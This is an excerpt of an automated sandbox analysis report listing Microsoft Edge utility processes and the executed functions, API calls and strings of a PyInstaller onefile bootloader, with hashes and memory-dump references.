Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --no-sandbox --onnx-enabled-for-ee --mojo-platform-channel-handle=5412 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	16:09:31
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Imagebase:	0x7ff6a73d0000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	16:09:31
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --no-sandbox --mojo-platform-channel-handle=5760 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Imagebase:	0x7ff6a73d0000
File size:	1'255'976 bytes
MD5 hash:	76C58E5BABFE4ACF0308AA646FC0F416
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	16:10:27
Start date:	21/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --no-sandbox --message-loop-type-ui --mojo-platform-channel-handle=2540 --field-trial-handle=1976,i,1455327040868021554,2898897310355900998,262144 /prefetch:8
Imagebase:	0x7ff67dcd0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20%
Total number of Nodes:	2000
Total number of Limit Nodes:	72

Executed Functions

Function 00007FF6BAF089E0 Relevance: 70.3, APIs: 36, Strings: 4, Instructions: 257
synchronizationwindowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BAF09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6BAF045F4,00000000,00007FF6BAF01985), ref: 00007FF6BAF093C9

SetConsoleCtrlHandler.KERNEL32(?,?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08A3B
GetStartupInfoW.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08A56

Part of subcall function 00007FF6BAF1A47C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF1A490

Part of subcall function 00007FF6BAF1871C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF18783

GetCommandLineW.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08AE6
CreateProcessW.KERNELBASE ref: 00007FF6BAF08B1E
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08B28

Part of subcall function 00007FF6BAF02C50: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02C9E
Part of subcall function 00007FF6BAF02C50: FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6BAF03706,?,00007FF6BAF03804), ref: 00007FF6BAF02D63
Part of subcall function 00007FF6BAF02C50: MessageBoxW.USER32 ref: 00007FF6BAF02D99

RegisterClassW.USER32 ref: 00007FF6BAF08B80
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08B8B
CreateWindowExW.USER32 ref: 00007FF6BAF08BD5
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08BE7
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08C02
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08C15
PeekMessageW.USER32 ref: 00007FF6BAF08C39
TranslateMessage.USER32 ref: 00007FF6BAF08C47
DispatchMessageW.USER32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08C51
PeekMessageW.USER32 ref: 00007FF6BAF08C6C
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08C7E
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08C99
TerminateProcess.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08CAF
GetLastError.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08CB9
WaitForSingleObject.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08CC7
DestroyWindow.USER32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08E04
GetExitCodeProcess.KERNELBASE ref: 00007FF6BAF08E19
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08E22
CloseHandle.KERNEL32(?,FFFFFFFF,00007FF6BAF03F7F), ref: 00007FF6BAF08E2F

Strings

PyInstaller Onefile Hidden Window, xrefs: 00007FF6BAF08B95
PyInstallerOnefileHiddenWindow, xrefs: 00007FF6BAF08B54
Failed to create child process!, xrefs: 00007FF6BAF08B30
CreateProcessW, xrefs: 00007FF6BAF08B37

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Message$ErrorLast$ObjectProcessSingleWait$CloseCreateHandlePeekWindow_invalid_parameter_noinfo$ByteCharClassCodeCommandConsoleCtrlCurrentDestroyDispatchExitFormatHandlerInfoLineMultiRegisterStartupTerminateTranslateWide
String ID: CreateProcessW$Failed to create child process!$PyInstaller Onefile Hidden Window$PyInstallerOnefileHiddenWindow
API String ID: 3832162212-3165540532
Opcode ID: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction ID: 17895a583bf2e7f3556f2d1965fab8ccdbde02cd85b986678f8c135029ca1896
Opcode Fuzzy Hash: 99838be411f58a84d89697932930ae4644c798f1dd42cd928399edbb9bf0e48e
Instruction Fuzzy Hash: 21D15232A08B8286EB209F78E8542E93768FF84799F404279EF5D83AA5DF3CD545C740

Function 00007FF6BAF01000 Relevance: 61.8, APIs: 7, Strings: 28, Instructions: 511
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF6BAF039DE
Failed to remove temporary directory: %s, xrefs: 00007FF6BAF03FCF
_PYI_PARENT_PROCESS_LEVEL, xrefs: 00007FF6BAF03A17, 00007FF6BAF03A2F, 00007FF6BAF03A9B
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF6BAF03971
PYINSTALLER_SUPPRESS_SPLASH_SCREEN, xrefs: 00007FF6BAF03E0A
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF6BAF03C61
_PYI_ARCHIVE_FILE, xrefs: 00007FF6BAF038D2, 00007FF6BAF039FF
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF6BAF03EA6
Could not create temporary directory!, xrefs: 00007FF6BAF03CBF
pyi-python-flag, xrefs: 00007FF6BAF03AD6
MEI, xrefs: 00007FF6BAF03933
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF6BAF03EBB
Failed to load splash screen resources!, xrefs: 00007FF6BAF03E85
pyi-contents-directory, xrefs: 00007FF6BAF03B8D
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF6BAF03D12
_PYI_APPLICATION_HOME_DIR not set for onefile child process!, xrefs: 00007FF6BAF03D35
pyi-disable-windowed-traceback, xrefs: 00007FF6BAF03BB2
_PYI_APPLICATION_HOME_DIR, xrefs: 00007FF6BAF03A0B, 00007FF6BAF03CD4, 00007FF6BAF03F6B
_PYI_SPLASH_IPC, xrefs: 00007FF6BAF03A23, 00007FF6BAF03EF5
Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s, xrefs: 00007FF6BAF03B32
pyi-runtime-tmpdir, xrefs: 00007FF6BAF03B68
PYINSTALLER_RESET_ENVIRONMENT, xrefs: 00007FF6BAF03882, 00007FF6BAF038AF
VCRUNTIME140.dll, xrefs: 00007FF6BAF03DB1
pkg, xrefs: 00007FF6BAF039BE
Failed to convert DLL search path!, xrefs: 00007FF6BAF03DDC
Py_GIL_DISABLED, xrefs: 00007FF6BAF03AF4
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6BAF03BE8
Failed to start splash screen!, xrefs: 00007FF6BAF03ED4

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: ErrorFileLastModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to load splash screen resources!$Failed to remove temporary directory: %s$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$Invalid value in _PYI_PARENT_PROCESS_LEVEL: %s$MEI$PYINSTALLER_RESET_ENVIRONMENT$PYINSTALLER_STRICT_UNPACK_MODE$PYINSTALLER_SUPPRESS_SPLASH_SCREEN$Path exceeds PYI_PATH_MAX limit.$Py_GIL_DISABLED$VCRUNTIME140.dll$_PYI_APPLICATION_HOME_DIR$_PYI_APPLICATION_HOME_DIR not set for onefile child process!$_PYI_ARCHIVE_FILE$_PYI_PARENT_PROCESS_LEVEL$_PYI_SPLASH_IPC$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-python-flag$pyi-runtime-tmpdir
API String ID: 2776309574-4232158417
Opcode ID: bfe24250e6e030a5c654557d1e02b7c570d566d746dc6ea7508ff042bae04871
Instruction ID: 3882bb03d4d178b83cc417754d1715adaaae906208cf6aab2c4955b566cc0443
Opcode Fuzzy Hash: bfe24250e6e030a5c654557d1e02b7c570d566d746dc6ea7508ff042bae04871
Instruction Fuzzy Hash: AD32AB21A08A8291FA39DF2D94543F967A9AF44782F8441B6EF4DC32C6EF2CE559C344

Function 00007FF6BAF25C00 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6BAF25C45

Part of subcall function 00007FF6BAF25598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF255AC

Part of subcall function 00007FF6BAF1A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A95E
Part of subcall function 00007FF6BAF1A948: GetLastError.KERNEL32(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A968

Part of subcall function 00007FF6BAF1A900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF6BAF1A8DF,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1A909
Part of subcall function 00007FF6BAF1A900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF6BAF1A8DF,?,?,?,?,?,00007FF6BAF1A7CA), ref: 00007FF6BAF1A92E

_get_daylight.LIBCMT ref: 00007FF6BAF25C34

Part of subcall function 00007FF6BAF255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF2560C

_get_daylight.LIBCMT ref: 00007FF6BAF25EAA
_get_daylight.LIBCMT ref: 00007FF6BAF25EBB
_get_daylight.LIBCMT ref: 00007FF6BAF25ECC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6BAF2610C), ref: 00007FF6BAF25EF3

Strings

Eastern Summer Time, xrefs: 00007FF6BAF25FB1
Eastern Standard Time, xrefs: 00007FF6BAF25F99

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: c4933dd8c32e98fab8aefeb9fc8d5296f8eb66a7bbc18f9cb7ff67e877c842a9
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: BCD1C022A0879286EB20EF29D9411F963A9EF84796F848176FF4DC7695EF3CE441C740

Function 00007FF6BAF26964 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BAF26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF266D9
Part of subcall function 00007FF6BAF26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF26757
Part of subcall function 00007FF6BAF26698: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF267A8

CreateFileW.KERNELBASE ref: 00007FF6BAF26A6A
CreateFileW.KERNEL32 ref: 00007FF6BAF26ABA
GetLastError.KERNEL32 ref: 00007FF6BAF26AEA
GetFileType.KERNELBASE ref: 00007FF6BAF26AFF
GetLastError.KERNEL32 ref: 00007FF6BAF26B09
CloseHandle.KERNEL32 ref: 00007FF6BAF26B3C
CloseHandle.KERNEL32 ref: 00007FF6BAF26C9F
CreateFileW.KERNEL32 ref: 00007FF6BAF26CD4
GetLastError.KERNEL32 ref: 00007FF6BAF26CE3

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction ID: 6285636dd552b6028bfe1a365722ac32f162696451b604b36db72aaf5daa0b24
Opcode Fuzzy Hash: baaa1bd2bfcf3e8d87424e6061cd652f961a4b3dae6ad7eaae94581ee29caa63
Instruction Fuzzy Hash: C1C1BE36B28B8685EB50CFA9C4906EC3769FB89B99B014279EF1E97794CF38D451C340

Function 00007FF6BAF083C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,00007FF6BAF08919,00007FF6BAF03FA5), ref: 00007FF6BAF0842B
RemoveDirectoryW.KERNEL32(?,00007FF6BAF08919,00007FF6BAF03FA5), ref: 00007FF6BAF084AE
DeleteFileW.KERNELBASE(?,00007FF6BAF08919,00007FF6BAF03FA5), ref: 00007FF6BAF084CD
FindNextFileW.KERNELBASE(?,00007FF6BAF08919,00007FF6BAF03FA5), ref: 00007FF6BAF084DB
FindClose.KERNEL32(?,00007FF6BAF08919,00007FF6BAF03FA5), ref: 00007FF6BAF084EC
RemoveDirectoryW.KERNELBASE(?,00007FF6BAF08919,00007FF6BAF03FA5), ref: 00007FF6BAF084F5

Strings

%s\*, xrefs: 00007FF6BAF083F2

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 7c12b01ff297979e1ecdf005a6213684df6049b407edb1b83f88227167b7eee2
Instruction ID: ed2f922ecdeefbcb07366ce28a85e7cb045ce40f2a28af0408af706b1fad4e22
Opcode Fuzzy Hash: 7c12b01ff297979e1ecdf005a6213684df6049b407edb1b83f88227167b7eee2
Instruction Fuzzy Hash: CF414625A0C68285EA709F68E4441FA7368FB94756F400276EF5DC36D4EF3CE545C741

Function 00007FF6BAF25E7C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF6BAF25EAA

Part of subcall function 00007FF6BAF255F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF2560C

_get_daylight.LIBCMT ref: 00007FF6BAF25EBB

Part of subcall function 00007FF6BAF25598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF255AC

_get_daylight.LIBCMT ref: 00007FF6BAF25ECC

Part of subcall function 00007FF6BAF255C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6BAF255DC

Part of subcall function 00007FF6BAF1A948: RtlFreeHeap.NTDLL(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A95E
Part of subcall function 00007FF6BAF1A948: GetLastError.KERNEL32(?,?,?,00007FF6BAF22D22,?,?,?,00007FF6BAF22D5F,?,?,00000000,00007FF6BAF23225,?,?,?,00007FF6BAF23157), ref: 00007FF6BAF1A968

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF6BAF2610C), ref: 00007FF6BAF25EF3

Strings

Eastern Summer Time, xrefs: 00007FF6BAF25FB1
Eastern Standard Time, xrefs: 00007FF6BAF25F99

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 6d4d971983e82d9aacf0586adae2e438c37b000866a3de0634cd866be116b4ee
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 36516C32A0878286E720EF29E9815F96769FF88786F4041B6EF4DC7696DF3CE4418740

Function 00007FF6BAF09280 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF6BAF092B3
FindClose.KERNELBASE ref: 00007FF6BAF092C2

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction ID: 683a9afc177114f6a052cdd9d62e3da4ec384d63b13d22f2f7dab2fb228107e4
Opcode Fuzzy Hash: 3849ca1beccae91a12aeced599bc73bdbec409d6dd090ca7d2ec6d5d284a4285
Instruction Fuzzy Hash: 9CF0A422A1878286F7708F68B4987AA7394EB84765F040239DF6D436D4DF3CD0598A00

Function 00007FF6BAF208C8 Relevance: 2.0, APIs: 1, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: CurrentFeaturePresentProcessProcessor
String ID:
API String ID: 1010374628-0
Opcode ID: bf2be9fa04f778198bc200dbcf5d86afe3aa310e8053ad028a0d4c98322c2243
Instruction ID: e1fbfa02107003ad894b8afdff83712f45c3587499dcd17936a0c0a0da5d827d
Opcode Fuzzy Hash: bf2be9fa04f778198bc200dbcf5d86afe3aa310e8053ad028a0d4c98322c2243
Instruction Fuzzy Hash: 7402D062B1E79751FA65AF1D95002F9268CAF41BA2F8546B4FF5DCB3D1EE3CA8408300

Function 00007FF6BAF01950 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6BAF07F90: _fread_nolock.LIBCMT ref: 00007FF6BAF0803A

_fread_nolock.LIBCMT ref: 00007FF6BAF01A1B

Part of subcall function 00007FF6BAF02910: GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF6BAF01B6A), ref: 00007FF6BAF0295E

Strings

Failed to seek to cookie position!, xrefs: 00007FF6BAF019EE
Failed to read cookie!, xrefs: 00007FF6BAF01A2B
calloc, xrefs: 00007FF6BAF01A68
Could not allocate buffer for TOC!, xrefs: 00007FF6BAF01B1B
Could not allocate memory for archive structure!, xrefs: 00007FF6BAF01A61
fread, xrefs: 00007FF6BAF01A32, 00007FF6BAF01B5C
Error on file., xrefs: 00007FF6BAF01B8D
MEI, xrefs: 00007FF6BAF01991
fseek, xrefs: 00007FF6BAF019F5
malloc, xrefs: 00007FF6BAF01B22
Could not read full TOC!, xrefs: 00007FF6BAF01B55

Memory Dump Source

Source File: 00000000.00000002.2165172804.00007FF6BAF01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6BAF00000, based on PE: true

Associated: 00000000.00000002.2165129151.00007FF6BAF00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165219125.00007FF6BAF2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165268489.00007FF6BAF42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2165351085.00007FF6BAF44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6baf00000_file.jbxd

Similarity

API ID: _fread_nolock$CurrentProcess
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 2397952137-3497178890
Opcode ID: bcbc45470d282000346a2dbbd26572b59944004f25f427ec07b9d33b56543599
Instruction ID: 7631a0c59d441e8094efecf86cd97baec6c4c6261d06182d154405905725ac6c
Opcode Fuzzy Hash: bcbc45470d282000346a2dbbd26572b59944004f25f427ec07b9d33b56543599
Instruction Fuzzy Hash: 4B8182B1A0868686EB30DF28D0416F923A9EF84786F448476EF8DC7785DE3CE5858744

Function 00007FF6BAF01600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to write data chunk!, xrefs: 00007FF6BAF017CA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6BAF016A2
fwrite, xrefs: 00007FF6BAF017D1
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6BAF016DA
Failed to create symbolic link %s!, xrefs: 00007FF6BAF01622
